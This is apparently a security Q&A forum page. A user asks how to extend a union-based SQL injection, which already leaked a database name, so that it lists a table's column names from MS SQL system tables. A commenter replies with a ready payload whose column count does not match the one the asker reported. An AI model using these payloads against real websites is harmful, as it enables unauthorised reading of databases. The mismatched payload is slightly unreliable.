1

I have a webpage which is vulnerable to SQL injection.

As I know the number of columns so I inserted

'union select 1,db_name(),3,4,5--

and got database name listed in the second column of a table which has five columns (I am talking about html table here). My question is how can I see the result (in the html table) of a query which looks something like

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’)

Is there anything which I should learn about sub-queries?

  • 3
    ' union SELECT 1,syscolumns.name,2,3,4,5 FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’) -- – wireghoul Aug 8 '16 at 3:09
  • Could you clarify what the second SQL query is? Is it the result after injection? Or is it the query you are injecting into? If so, what is the injectable part? – Anders Aug 8 '16 at 10:47

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.